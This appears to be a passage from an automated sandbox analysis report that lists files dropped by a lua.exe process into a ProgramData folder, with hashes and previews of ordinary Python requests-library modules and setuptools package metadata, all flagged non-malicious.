Preview:	# -- coding: utf-8 --..""".requests.adapters.~~~~~~~~~~~~~~~~~..This module contains the transport adapters that Requests uses to define.and maintain connections.."""..import os.path.import socket..from urllib3.poolmanager import PoolManager, proxy_from_url.from urllib3.response import HTTPResponse.from urllib3.util import parse_url.from urllib3.util import Timeout as TimeoutSauce.from urllib3.util.retry import Retry.from urllib3.exceptions import ClosedPoolError.from urllib3.exceptions import ConnectTimeoutError.from urllib3.exceptions import HTTPError as _HTTPError.from urllib3.exceptions import MaxRetryError.from urllib3.exceptions import NewConnectionError.from urllib3.exceptions import ProxyError as _ProxyError.from urllib3.exceptions import ProtocolError.from urllib3.exceptions import ReadTimeoutError.from urllib3.exceptions import SSLError as _SSLError.from urllib3.exceptions import ResponseError.from urllib3.exceptions import LocationValueError..from .models import Response.f

C:\ProgramData\ShellExperienceHost\Lib\site-packages\requests\api.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	6496
Entropy (8bit):	4.80334791167039
Encrypted:	false
SSDEEP:	96:ifmGLluXWC7ZolNAzj8t8l8DeteOgj4UiQQ51UAQQIUDQQzQx:iuEoZjM8SqoN8xX51PXIcX0x
MD5:	436881E36D8E6468F5626DE2B95D93B3
SHA1:	D59147AB9CABCC8C771C1BA4609208024D805DE4
SHA-256:	3E51CCF874F73D0E65CAE7E8786995FA7271462ED49D4C86561ECE57B07D5D5E
SHA-512:	2A41C40F78E0FF65AD9A7A99ADED0ED2263407CE7D30157F785595121F3FAF94E33C8F0D5B55A425E8BD381F0D3D98022662B515D2B1659884D0CAEB09A6E7F8
Malicious:	false
Preview:	# -- coding: utf-8 --..""".requests.api.~~~~~~~~~~~~..This module implements the Requests API...:copyright: (c) 2012 by Kenneth Reitz..:license: Apache2, see LICENSE for more details.."""..from . import sessions...def request(method, url, **kwargs):. """Constructs and sends a :class:`Request <Request>`... :param method: method for the new :class:`Request` object: ``GET``, ``OPTIONS``, ``HEAD``, ``POST``, ``PUT``, ``PATCH``, or ``DELETE``.. :param url: URL for the new :class:`Request` object.. :param params: (optional) Dictionary, list of tuples or bytes to send. in the query string for the :class:`Request`.. :param data: (optional) Dictionary, list of tuples, bytes, or file-like. object to send in the body of the :class:`Request`.. :param json: (optional) A JSON serializable Python object to send in the body of the :class:`Request`.. :param headers: (optional) Dictionary of HTTP Headers to send with the :class:`Request`.. :param cookies: (optiona

C:\ProgramData\ShellExperienceHost\Lib\site-packages\requests\auth.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	10207
Entropy (8bit):	4.549683435530294
Encrypted:	false
SSDEEP:	192:OV7NQFSzkFV/w/zp67AMWva7pu6pCgkdIV914f4H9wX:Ch2SIP/0UFWv+HhkdIV979C
MD5:	1A21F3F8F2851B46F099FBCBD5748867
SHA1:	A4FF1EFAFC575773B4F225721CDF83C0EE81AB39
SHA-256:	38CA092152B244BCBD4C7AFDD72F2BC72B19B9C9703C1F8AD57835CC1A265214
SHA-512:	DC86643B6B2954F9758296045242A5F3178FAD77C4C0A15295194EE28F819EC7CA7D4D9FF0E43D6170DD907734082C34D136452170DFD244964933AED12C23CE
Malicious:	false
Preview:	# -- coding: utf-8 --..""".requests.auth.~~~~~~~~~~~~~..This module contains the authentication handlers for Requests.."""..import os.import re.import time.import hashlib.import threading.import warnings..from base64 import b64encode..from .compat import urlparse, str, basestring.from .cookies import extract_cookies_to_jar.from ._internal_utils import to_native_string.from .utils import parse_dict_header..CONTENT_TYPE_FORM_URLENCODED = 'application/x-www-form-urlencoded'.CONTENT_TYPE_MULTI_PART = 'multipart/form-data'...def _basic_auth_str(username, password):. """Returns a Basic Auth string.""".. # "I want us to put a big-ol' comment on top of it that. # says that this behaviour is dumb but we need to preserve. # it because people are relying on it.". # - Lukasa. #. # These are here solely to maintain backwards compatibility. # for things like ints. This will be removed in 3.0.0.. if not isinstance(username, basestring):. warnings.warn(.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\requests\certs.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, UTF-8 Unicode text executable
Category:	dropped
Size (bytes):	453
Entropy (8bit):	4.8357697769038674
Encrypted:	false
SSDEEP:	12:HtcKyP1A3Dj4uIy1XfB4A4kvYa4ZkzfF2aGhu:mDgbXKAhwa970aN
MD5:	E15C9D52BEDDFBA17B72C885B5CD0F3F
SHA1:	FE826E4A37125ED326535B70CB9EB634F4B8B0EB
SHA-256:	74E079AD5D83675DDD121ABD0546BFE21779900AA0E7D7BFCD4641D347DA633F
SHA-512:	2EF3D30BE124FE7D795BC4316AF2750E689332AEB8BEBFAA4534CC7A5B200B511CAFFA0BAF58C737BD8FEA17D32AA87692E5BF84A9015A01845DB227E58D1ABE
Malicious:	false
Preview:	#!/usr/bin/env python.# -- coding: utf-8 --..""".requests.certs.~~~~~~~~~~~~~~..This module returns the preferred default CA certificate bundle. There is.only one . the one from the certifi package...If you are packaging Requests, e.g., for a Linux distribution or a managed.environment, you can change the definition of where() to return a separately.packaged CA bundle..""".from certifi import where..if __name__ == '__main__':. print(where()).

C:\ProgramData\ShellExperienceHost\Lib\site-packages\requests\compat.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1782
Entropy (8bit):	4.744586798654895
Encrypted:	false
SSDEEP:	48:SXwpTkNXiDCgsZ3wLnCdd6soY7GkY9cI8soSYXQ:SApTK5JgLCdd6JGu9cI8JSAQ
MD5:	F5ED9B72695C1BFA2D51D9838C6EF691
SHA1:	7CF3FCF1B4FC9E0B80734AC668F4DA031B3DAB8D
SHA-256:	88146FBBE5F9E34087E0F26CBB1AF4BDC1939E5FD3661ABFEF94B099E72443BC
SHA-512:	2E59611816E3D4436C17A92CFF754CC59A97B599743C5186A912ECF2EBBD015E3A4A0439594D620C1CD5AC2601DE91A13D98DA79FC5BC5F412041583D87CCD05
Malicious:	false
Preview:	# -- coding: utf-8 --..""".requests.compat.~~~~~~~~~~~~~~~..This module handles import compatibility issues between Python 2 and.Python 3.."""..import chardet..import sys..# -------.# Pythons.# -------..# Syntax sugar.._ver = sys.version_info..#: Python 2.x?.is_py2 = (_ver[0] == 2)..#: Python 3.x?.is_py3 = (_ver[0] == 3)..try:. import simplejson as json.except ImportError:. import json..# ---------.# Specifics.# ---------..if is_py2:. from urllib import (. quote, unquote, quote_plus, unquote_plus, urlencode, getproxies,. proxy_bypass, proxy_bypass_environment, getproxies_environment). from urlparse import urlparse, urlunparse, urljoin, urlsplit, urldefrag. from urllib2 import parse_http_list. import cookielib. from Cookie import Morsel. from StringIO import StringIO. # Keep OrderedDict for backwards compatibility.. from collections import Callable, Mapping, MutableMapping, OrderedDict... builtin_str = str. bytes = str. str = unicod

C:\ProgramData\ShellExperienceHost\Lib\site-packages\requests\cookies.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	18430
Entropy (8bit):	4.49179208473673
Encrypted:	false
SSDEEP:	192:boXORpKUj5PLsaZcA83q20Fe6JUmYPteu4eQ50mqfsAXcGmysvBpAyEFEHuj:cXORcyAOceUvtNQymy8Bpv6E4
MD5:	9D61A7E703C15B12E785F2B4A243CF73
SHA1:	A5A73DDECF0723E9B25DA6E067BE2B9DFF6BA781
SHA-256:	63E6CA5FA4EF5B716762513A02ED125ED55559C68D745BEE030431C3E1B48932
SHA-512:	B6207C8C25B9B355C92B692DC3992A252691DB14DE18F0B273F989F15FA4FE0F1FE2672E6C5AD44A35698CFFE4F7B73959D430264FF086B63084B62A899DBA69
Malicious:	false
Preview:	# -- coding: utf-8 --..""".requests.cookies.~~~~~~~~~~~~~~~~..Compatibility code to be able to use `cookielib.CookieJar` with requests...requests.utils imports from here, so be careful with imports.."""..import copy.import time.import calendar..from ._internal_utils import to_native_string.from .compat import cookielib, urlparse, urlunparse, Morsel, MutableMapping..try:. import threading.except ImportError:. import dummy_threading as threading...class MockRequest(object):. """Wraps a `requests.Request` to mimic a `urllib2.Request`... The code in `cookielib.CookieJar` expects this interface in order to correctly. manage cookie policies, i.e., determine whether a cookie can be set, given the. domains of the request and the cookie... The original request object is read-only. The client is responsible for collecting. the new headers via `get_new_headers()` and interpreting them appropriately. You. probably want `get_cookie_header`, defined below.. """.. d

C:\ProgramData\ShellExperienceHost\Lib\site-packages\requests\exceptions.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3161
Entropy (8bit):	4.8061640373914845
Encrypted:	false
SSDEEP:	48:DBlXcTeJMMiYop0zKiJ/tB+ZR15zyMb9i4p5PauJ2j5Clh8vNiN:DBlXMXMiYoSjfUv5zyyioDgjolWvAN
MD5:	8A8FB277810222B25DC146F83A6696D4
SHA1:	6956A68C020027B0292844C01FC20285CD146F3F
SHA-256:	C57A23D6B7619F14D2FC362984A67D3AF159250677DF703AE1111CF590D92205
SHA-512:	DFC7BE5B7D7EA2353155E72085DEC9DDFA1DCBFCB6A5FEBCC66FFCFB29E4C27FF12075E3A0DC6CB4BE85101367DDF9A798F44CF849A2616862371F1A6B855439
Malicious:	false
Preview:	# -- coding: utf-8 --..""".requests.exceptions.~~~~~~~~~~~~~~~~~~~..This module contains the set of Requests' exceptions..""".from urllib3.exceptions import HTTPError as BaseHTTPError...class RequestException(IOError):. """There was an ambiguous exception that occurred while handling your. request.. """.. def __init__(self, args, kwargs):. """Initialize RequestException with `request` and `response` objects.""". response = kwargs.pop('response', None). self.response = response. self.request = kwargs.pop('request', None). if (response is not None and not self.request and. hasattr(response, 'request')):. self.request = self.response.request. super(RequestException, self).__init__(args, **kwargs)...class HTTPError(RequestException):. """An HTTP error occurred."""...class ConnectionError(RequestException):. """A Connection error occurred."""...class ProxyError(ConnectionError):. """A proxy error

C:\ProgramData\ShellExperienceHost\Lib\site-packages\requests\help.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3515
Entropy (8bit):	4.5340250906991075
Encrypted:	false
SSDEEP:	96:9RSDYMh2QDB2erRxGLlK3ek/yaCa+OW0Lm/vgM:9R8kQtOQ3ekNCa+uCXgM
MD5:	4C5656AAEAA0607F09CA5DAEE3954EA0
SHA1:	F97715193310272DE1226FD6FC9874A9210A30F4
SHA-256:	94B701B4A01AAFC4FA4FBF1EF5373865F77F104245867B718226F524735CB442
SHA-512:	A197BF97FF7269B7D4BAD5B820B93FF7252128EF642DA39BEB22AED79DB24EEDA5C44CC190D41E9D5187B88D01F2C8B52B72F6A4881C5707B9D25202A88615CB
Malicious:	false
Preview:	"""Module containing bug report helper(s).""".from __future__ import print_function..import json.import platform.import sys.import ssl..import idna.import urllib3.import chardet..from . import __version__ as requests_version..try:. from urllib3.contrib import pyopenssl.except ImportError:. pyopenssl = None. OpenSSL = None. cryptography = None.else:. import OpenSSL. import cryptography...def _implementation():. """Return a dict with the Python implementation and version... Provide both the name and the version of the Python implementation. currently running. For example, on CPython 2.7.5 it will return. {'name': 'CPython', 'version': '2.7.5'}... This function works best on CPython and PyPy: in particular, it probably. doesn't work for Jython or IronPython. Future investigation should be done. to work out the correct shape of the code for those platforms.. """. implementation = platform.python_implementation().. if implementation == 'CPytho

C:\ProgramData\ShellExperienceHost\Lib\site-packages\requests\hooks.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	757
Entropy (8bit):	4.590063497273193
Encrypted:	false
SSDEEP:	12:icKyPx1p4IoWy5pMUqTgeA12T/bxawBCFfy6nu6faa60IYKzYnhDXrY:lDx1qlJ5pMUqTghqCZy6nu6W0IYHBY
MD5:	E95D38CC4C7540B3F338AF0B106C823E
SHA1:	6E081C955EE08F9F533BF2856AC98F93906EF593
SHA-256:	411786CB2D1B45CAF9AE4C02B8E6CD6A46D8B1CEC492229E0701B8A877A4AF64
SHA-512:	4B70A50CFEBE753824F6C2C30850C6DE282CFB8601B73943019229AC045315DA19EF43E6381BD830C5133374E1C71FDCA0EC2AF3257F53ADA2B81147F7F164FE
Malicious:	false
Preview:	# -- coding: utf-8 --..""".requests.hooks.~~~~~~~~~~~~~~..This module provides the capabilities for the Requests hooks system...Available hooks:..``response``:. The response generated from a Request..""".HOOKS = ['response']...def default_hooks():. return {event: [] for event in HOOKS}..# TODO: response is the only one...def dispatch_hook(key, hooks, hook_data, kwargs):. """Dispatches a hook dictionary on a given piece of data.""". hooks = hooks or {}. hooks = hooks.get(key). if hooks:. if hasattr(hooks, '__call__'):. hooks = [hooks]. for hook in hooks:. _hook_data = hook(hook_data, kwargs). if _hook_data is not None:. hook_data = _hook_data. return hook_data.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\requests\models.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	34308
Entropy (8bit):	4.39382194487087
Encrypted:	false
SSDEEP:	768:JBtrkZgO9VMkKNew7pp2aLjrFemL05pbw+NyaIu8:JfrAtakKNew7v2a305pU5
MD5:	68AF1C7FA20D50D121005F1208E053DD
SHA1:	3EFA34691B6A5B0CF0F54BE3E06BC99E322641CE
SHA-256:	5216F845AFEE6CD1817FEEA4B474A180EE6651208664A6B90FFC0B19508CB589
SHA-512:	F918182751B8F62B7F8626B867EE9A0FCD5EC376ABF4BF16E914D9AE7EE38DE04DC215FE9144A437955E320309D8A2AB8999C758433A5E029D19B3B996333EB8
Malicious:	false
Preview:	# -- coding: utf-8 --..""".requests.models.~~~~~~~~~~~~~~~..This module contains the primary objects that power Requests.."""..import datetime.import sys..# Import encoding now, to avoid implicit import later..# Implicit import within threads may cause LookupError when standard library is in a ZIP,.# such as in Embedded Python. See https://github.com/psf/requests/issues/3578..import encodings.idna..from urllib3.fields import RequestField.from urllib3.filepost import encode_multipart_formdata.from urllib3.util import parse_url.from urllib3.exceptions import (. DecodeError, ReadTimeoutError, ProtocolError, LocationParseError)..from io import UnsupportedOperation.from .hooks import default_hooks.from .structures import CaseInsensitiveDict..from .auth import HTTPBasicAuth.from .cookies import cookiejar_from_dict, get_cookie_header, _copy_cookie_jar.from .exceptions import (. HTTPError, MissingSchema, InvalidURL, ChunkedEncodingError,. ContentDecodingError, ConnectionError, Strea

C:\ProgramData\ShellExperienceHost\Lib\site-packages\requests\packages.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	542
Entropy (8bit):	4.689694562255105
Encrypted:	false
SSDEEP:	12:kyxK21tfkpB7KvxayJk9W5B4XFKW88XCrmW6xIeL1J9Kx8cr0tU:kaQXk1BsKW8MkmWU1J9Kxhp
MD5:	D9278C04AA1DD897FE81F76A52897A63
SHA1:	BEB270857ACAD664E77D52A299DE41B979E0C4E6
SHA-256:	436AC5D0BE66737C1002F73AABF94056D3D30CE68E785803FBB9164902E48C44
SHA-512:	7EFAFB06DA91BBB800309404991479067C070F87FBF820DC3AB2844B27289F2E6FB88BF87AA160E798A9D67BBD065691A55897255D7BA0ED4735F04E2D96DBB7
Malicious:	false
Preview:	import sys..# This code exists for backwards compatibility reasons..# I don't like it either. Just look the other way. :)..for package in ('urllib3', 'idna', 'chardet'):. locals()[package] = __import__(package). # This traversal is apparently necessary such that the identities are. # preserved (requests.packages.urllib3.* is urllib3.*). for mod in list(sys.modules):. if mod == package or mod.startswith(package + '.'):. sys.modules['requests.packages.' + mod] = sys.modules[mod]..# Kinda cool, though, right?.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\requests\sessions.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	30137
Entropy (8bit):	4.508643582451891
Encrypted:	false
SSDEEP:	384:AVZsmL6nfw+Ytqqw+LihBX5J+ulMSh2unj6ld99uVDppeYyFpyUb4tDhaBUaemo7:AVZ3LfPRLiDHMSh2G6r9WPAJ4GSl
MD5:	913EFDFDDA01ACAA3E0BB953A856A00B
SHA1:	109DF12E18F0D8E070A9D346370865C484C87EEF
SHA-256:	06C9D1FB36082E0A05CC9EB2AB84FC86DFE2D0FC303C6540C56C56695E5D7078
SHA-512:	43FE03D319995D8DB15254498331F45351680B20339E28543E3DFC90678A2A3F919F70ADFE4A1F0696C52906ED79AB89D5EBBBA733D86A82288AC0ED250AA68D
Malicious:	false
Preview:	# -- coding: utf-8 --..""".requests.sessions.~~~~~~~~~~~~~~~~~..This module provides a Session object to manage and persist settings across.requests (cookies, auth, proxies)..""".import os.import sys.import time.from datetime import timedelta.from collections import OrderedDict..from .auth import _basic_auth_str.from .compat import cookielib, is_py3, urljoin, urlparse, Mapping.from .cookies import (. cookiejar_from_dict, extract_cookies_to_jar, RequestsCookieJar, merge_cookies).from .models import Request, PreparedRequest, DEFAULT_REDIRECT_LIMIT.from .hooks import default_hooks, dispatch_hook.from ._internal_utils import to_native_string.from .utils import to_key_val_list, default_headers, DEFAULT_PORTS.from .exceptions import (. TooManyRedirects, InvalidSchema, ChunkedEncodingError, ContentDecodingError)..from .structures import CaseInsensitiveDict.from .adapters import HTTPAdapter..from .utils import (. requote_uri, get_environ_proxies, get_netrc_auth, should_bypass_proxie

C:\ProgramData\ShellExperienceHost\Lib\site-packages\requests\status_codes.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, UTF-8 Unicode text executable
Category:	dropped
Size (bytes):	4188
Entropy (8bit):	4.851057456018198
Encrypted:	false
SSDEEP:	96:8aXQ/ywPMZY1KKc2qfweZ9IpRC0sHleEdyoBaFOh:uymMac2HeZ9IpRCiEAW
MD5:	F5BCA2603D8660BDFE7F156557B9811C
SHA1:	830246289FE3B9456BB9078C546F82FF0AA88B1C
SHA-256:	813EFD3DBB3F7108C1829F9FBEB520835767D8340EDF66C38F84C89E39CC3D27
SHA-512:	A5542B081646281EDF24F4A9FED178E8F6D41F444E37B23A7BFF24D0EB3CAD775B0B8210C0C0DA6F3B5907BD8EC0194B60750C3CD7F16E723A2A3FFA01C57BF2
Malicious:	false
Preview:	# -- coding: utf-8 --..r""".The ``codes`` object defines a mapping from common names for HTTP statuses.to their numerical codes, accessible either as attributes or as dictionary.items...Example::.. >>> import requests. >>> requests.codes['temporary_redirect']. 307. >>> requests.codes.teapot. 418. >>> requests.codes['\o/']. 200..Some codes have multiple names, and both upper- and lower-case versions of.the names are allowed. For example, ``codes.ok``, ``codes.OK``, and.``codes.okay`` all correspond to the HTTP status code 200.."""..from .structures import LookupDict.._codes = {.. # Informational.. 100: ('continue',),. 101: ('switching_protocols',),. 102: ('processing',),. 103: ('checkpoint',),. 122: ('uri_too_long', 'request_uri_too_long'),. 200: ('ok', 'okay', 'all_ok', 'all_okay', 'all_good', '\\o/', '.'),. 201: ('created',),. 202: ('accepted',),. 203: ('non_authoritative_info', 'non_authoritative_information'),. 204: ('no_cont

C:\ProgramData\ShellExperienceHost\Lib\site-packages\requests\structures.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3005
Entropy (8bit):	4.663177496687511
Encrypted:	false
SSDEEP:	48:qtJ0fhf5XObXK0YuIG9n6QeHMl5uWG5gRMzcvMvfDjmTXr2LpC5pSjFjz5rm:UJgabXX+HaIWqk4fGg0LEFjtm
MD5:	6704E7E48FFBA962D36E10E836B45AC3
SHA1:	3E31D604B50343323017933A6E3D7D9C410A041D
SHA-256:	9AC02DAFD9AAD49C4777E251CA220B7DD165A5B270BEF16E3F7ADF5104FF4311
SHA-512:	5E5BB815F50C811ABEAB23EB89406992B4DDC6C9C4B900B31B725C96D69DD0FD8A54517B295A22F2208C2F71FC0EAB1096247DE1FA1B7063006177BE9807FE9F
Malicious:	false
Preview:	# -- coding: utf-8 --..""".requests.structures.~~~~~~~~~~~~~~~~~~~..Data structures that power Requests.."""..from collections import OrderedDict..from .compat import Mapping, MutableMapping...class CaseInsensitiveDict(MutableMapping):. """A case-insensitive ``dict``-like object... Implements all methods and operations of. ``MutableMapping`` as well as dict's ``copy``. Also. provides ``lower_items``... All keys are expected to be strings. The structure remembers the. case of the last key to be set, and ``iter(instance)``,. ``keys()``, ``items()``, ``iterkeys()``, and ``iteritems()``. will contain case-sensitive keys. However, querying and contains. testing is case insensitive::.. cid = CaseInsensitiveDict(). cid['Accept'] = 'application/json'. cid['aCCEPT'] == 'application/json' # True. list(cid) == ['Accept'] # True.. For example, ``headers['content-encoding']`` will return the. value of a ``'Content-Encoding'`` response

C:\ProgramData\ShellExperienceHost\Lib\site-packages\requests\utils.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	30529
Entropy (8bit):	4.621242888961286
Encrypted:	false
SSDEEP:	768:BgGuJADV/dSl1V4Z/aQuXZeOGio5f2PcU3vGYvBS:BgGIADV/W1YaTEOGi8f2PcSesBS
MD5:	0599B4790FA7D41B664F2EE6796CBCE9
SHA1:	F7DD826F6F0F6D56E4B8A74C7FAFDF9BC7C0C19D
SHA-256:	FCAF4082437A79F3DEF9AFB3819BAB5F376CE4F042D02CC39328C0136A024054
SHA-512:	2F5A6A526FA04763CE30ED2CAFE4E0871C2B1C61C677D893CAFADB203BCC87D549413721675836200F214260A831D024D337C2CACF5DE091EC14BBB5046D7CB3
Malicious:	false
Preview:	# -- coding: utf-8 --..""".requests.utils.~~~~~~~~~~~~~~..This module provides utility functions that are used within Requests.that are also useful for external consumption.."""..import codecs.import contextlib.import io.import os.import re.import socket.import struct.import sys.import tempfile.import warnings.import zipfile.from collections import OrderedDict..from .__version__ import __version__.from . import certs.# to_native_string is unused here, but imported here for backwards compatibility.from ._internal_utils import to_native_string.from .compat import parse_http_list as _parse_list_header.from .compat import (. quote, urlparse, bytes, str, unquote, getproxies,. proxy_bypass, urlunparse, basestring, integer_types, is_py3,. proxy_bypass_environment, getproxies_environment, Mapping).from .cookies import cookiejar_from_dict.from .structures import CaseInsensitiveDict.from .exceptions import (. InvalidURL, InvalidHeader, FileModeWarning, UnrewindableBodyError)..NETRC

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools-51.0.0.dist-info\INSTALLER Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools-51.0.0.dist-info\LICENSE Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1078
Entropy (8bit):	5.127816565309219
Encrypted:	false
SSDEEP:	24:p7rOJH7H0yxgtUHw1hC09QHOsUv4eOk4/+/m3oqLFh:RSJrlxEvdQHOs5exm3ogFh
MD5:	9A33897F1BCA1160D7AAD3835152E158
SHA1:	A5234543D56E03C950C0080826B53A0CB97671AF
SHA-256:	C32A3AC395AF6321EFD28BE73D06A00F0DB6AB887D1C21D4FEC46128D2056D5A
SHA-512:	0CC71D2F794775FE676B729532C1B5B68777CABC7FB15E0D5F38542A3D4631B211074FF86D69127E2F088CD357161CF0C353F658F640711CDCC821D4D45CB318
Malicious:	false
Preview:	Copyright (C) 2016 Jason R Coombs <jaraco@jaraco.com>..Permission is hereby granted, free of charge, to any person obtaining a copy of.this software and associated documentation files (the "Software"), to deal in.the Software without restriction, including without limitation the rights to.use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies.of the Software, and to permit persons to whom the Software is furnished to do.so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.OUT OF OR

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools-51.0.0.dist-info\METADATA Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4819
Entropy (8bit):	5.080474990368507
Encrypted:	false
SSDEEP:	96:Dp1UYyJAmhQI/aMmPkU139n71ACA8IWqyU8cEcpDiHVP6o7PFPMUwTeXv:bFZNn7mZ8IWqyU8ct4wTY
MD5:	46D318438327D0E4CB0F227DF1B70E3A
SHA1:	931239D7D58B16CCECB5444FF421F700E3F60252
SHA-256:	C709FFF7C3824FB2110DF2E2FA9FEF720D0CE413E763724BC36F979A6A97FC6C
SHA-512:	040FBDA4CFF9158FFB9015714C2E7BFA899C97CD95F4F6FF668EE0C77E34D570694B88AF549294FA60AA086FD852EC1E9EF15407594217FE8364DFA6F538148D
Malicious:	false
Preview:	Metadata-Version: 2.1.Name: setuptools.Version: 51.0.0.Summary: Easily download, build, install, upgrade, and uninstall Python packages.Home-page: https://github.com/pypa/setuptools.Author: Python Packaging Authority.Author-email: distutils-sig@python.org.License: UNKNOWN.Project-URL: Documentation, https://setuptools.readthedocs.io/.Keywords: CPAN PyPI distutils eggs package management.Platform: UNKNOWN.Classifier: Development Status :: 5 - Production/Stable.Classifier: Intended Audience :: Developers.Classifier: License :: OSI Approved :: MIT License.Classifier: Operating System :: OS Independent.Classifier: Programming Language :: Python :: 3.Classifier: Programming Language :: Python :: 3 :: Only.Classifier: Programming Language :: Python :: 3.6.Classifier: Programming Language :: Python :: 3.7.Classifier: Programming Language :: Python :: 3.8.Classifier: Programming Language :: Python :: 3.9.Classifier: Topic :: Software Development :: Libraries :: Python Modules.Classifier: Topic

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools-51.0.0.dist-info\RECORD Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	23142
Entropy (8bit):	5.595409213095854
Encrypted:	false
SSDEEP:	384:s2wTz5O0SogahtYF+enmP+Ost4gcWmdcYchXJ3ejwnSUx5U3yvjhL+Xx9Lm:0Px+kUSUxuivjp+x9Lm
MD5:	A5FC1ABF5761F78A11A9B43063CC1E41
SHA1:	F60D6E4EB293B170C0E6BB513CD703693F3F7174
SHA-256:	7BA8B73BC2EFF4B7FE969D6EB1D51CD9906C641884E7A20F85569F82029D5540
SHA-512:	0CA494857D806396B36430616439D5FF90B5823D3001A4BF9E319331ED241B86D3FC70B55B360CA67F432165DDE26D9866145968BC76CB20F2FACC11794935B8
Malicious:	false
Preview:	../../Scripts/easy_install-3.7.exe,sha256=YTVqnr6uQxPh7MCPR-HgJHEK28WRGgzqIGHl4iGTC8k,97139..../../Scripts/easy_install.exe,sha256=YTVqnr6uQxPh7MCPR-HgJHEK28WRGgzqIGHl4iGTC8k,97139..__pycache__/easy_install.cpython-37.pyc,,.._distutils_hack/__init__.py,sha256=wFuARcmlHtkV20HfRBlQaMPY7hQx-TEEtnBpXeysiwI,3552.._distutils_hack/__pycache__/__init__.cpython-37.pyc,,.._distutils_hack/__pycache__/override.cpython-37.pyc,,.._distutils_hack/override.py,sha256=Eu_s-NF6VIZ4Cqd0tbbA5wtWky2IZPNd8et6GLt1mzo,44..distutils-precedence.pth,sha256=fqf_7z_ioRfuEsaO1lU2F_DX_S8FkCV8JcSElZo7c3M,152..easy_install.py,sha256=MDC9vt5AxDsXX5qcKlBz2TnW6Tpuv_AobnfhCJ9X3PM,126..pkg_resources/__init__.py,sha256=LERWHHiTbaylvENu2lku0M4zrzZBwFrnf2dbEFzFdvc,107946..pkg_resources/__pycache__/__init__.cpython-37.pyc,,..pkg_resources/_vendor/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0..pkg_resources/_vendor/__pycache__/__init__.cpython-37.pyc,,..pkg_resources/_vendor/__pycache__/appdirs.cpython-37.pyc,

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools-51.0.0.dist-info\WHEEL Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	92
Entropy (8bit):	4.820827594031884
Encrypted:	false
SSDEEP:	3:RtEeX7MWcSlVii6KRRP+tPCCfA5S:RtBMwlViGjWBBf
MD5:	5CCC7519EB42F1DFCEEE6E7D685F1FF5
SHA1:	DDD91BC89B15FC5C66E0FA259392955C74BA041F
SHA-256:	11546323AF45E6A5639BF620A9C4D73E74C0BF705F494AF4595007B923F75E8A
SHA-512:	2972A0FBFA2EC199E9510AA810852F0693810F89781872D20203B296DC42037D7E2D68DDBEDE3A77EDB51DBD17CCB764347D533E43103ED287D76392F3F8EE2A
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: bdist_wheel (0.35.1).Root-Is-Purelib: true.Tag: py3-none-any..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools-51.0.0.dist-info\dependency_links.txt Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	239
